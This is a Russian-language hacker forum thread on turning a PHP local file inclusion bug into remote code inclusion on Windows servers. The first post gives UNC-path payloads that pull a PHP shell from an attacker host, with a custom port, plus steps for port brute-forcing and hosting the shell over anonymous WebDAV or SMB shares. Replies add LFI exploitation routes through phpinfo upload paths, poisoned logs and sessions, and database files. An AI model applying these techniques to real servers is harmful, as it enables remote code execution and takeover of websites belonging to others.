раскрутить LFI до RFI под ос WINDOWS

Кто незнает что такое "LFI" (это распространенная уязвимость с помощью которой мы можем подгрузить произвольный скрипт что бы он исполнился на веб-сервере)

Объясняю

Простейший пример скрипта на PHP будет выглядить следующим образом:

<?php
...
include $GET['file'];
...?>

Таким образом если мы передадим такому скрипту в параметр "file" имя какого то ещё PhP скрипта ,то PHP при его исполнении попытается подгрузить скрипт из параметра и исполнить его.

Но нам нужно как "хакерам" не тупо что то подгрузить из функционала веб-приложения,нам нужен шелл и здесь нам надо подгрузить скрипт с нашим контентом .

Самый распространненый способ расположить наш PHP-шелл на каком нибудь веб-сервере и указать полный путь до файла
например:

http://attackег.com/shell.php

Но данный способ срабатывает нечасто,так как в конфигах РНР есть опция, запрещающая подгрузку удаленных файлов.

Все, что требуется для обхода ограничения, - это, во-первых,
чтобы веб-сервер с РНР был запущен под Windows, а во -вторых, указать путь до нашего файла в виде:

\\attackег..com\shell.php

0чень часто веб-серверы находятся за файрволами, а потому обратиться напрямую по шаре через интернет к веб-серверу нам вряд ли удастся.
Мы можем указать порт, по которому он к нам будет коннектиться:

\\attackег..com:31337\shell.php

Таким образом, мы можем пробрутить порты и найти, какой из
них разрешен.

Итак, мы имеем такую последовательность:
1. Понять, что 0С-Windows.
2. Поснифать на аttасkеr.соm трафик и, брутя порты,
пOнять, где есть дырка
3. Поднять на данном порту анонимный WebDAV или шару,
4. Выложить на нее шелл и подгрузить его.
5. Радоваться.=)=)=)=)

Вроде все.

 

Да ты я смотрю хакер читал за сентябрь

 

да... тема слишком громко называется...

а вот такое расковыряешь?
include('locale/'.$_GET['lang'].'/footer.html');
вот лфи на лицо, жду предложения как сделать рфи

 

"такое" скорее всего проще заюзать как LFI:
1) Найти phpinfo(), воспользоваться выводом полного пути до загруженного файла
2) Найти файлы с логами, сессиями, попытаться прокинуть код через них
3) Найти пути до файлов таблиц базы данных и проинклудить таблицы (там обычно можно разобраться, хоть и много мусора)
4) Заглянуть за новыми идеями в настройки апача, пхп, майэскуэл

 

я знаю что с таким делать, но тема же навызвается крутим лфи до рфи
и такое не проще заюзать как лфи, а тут только лфи.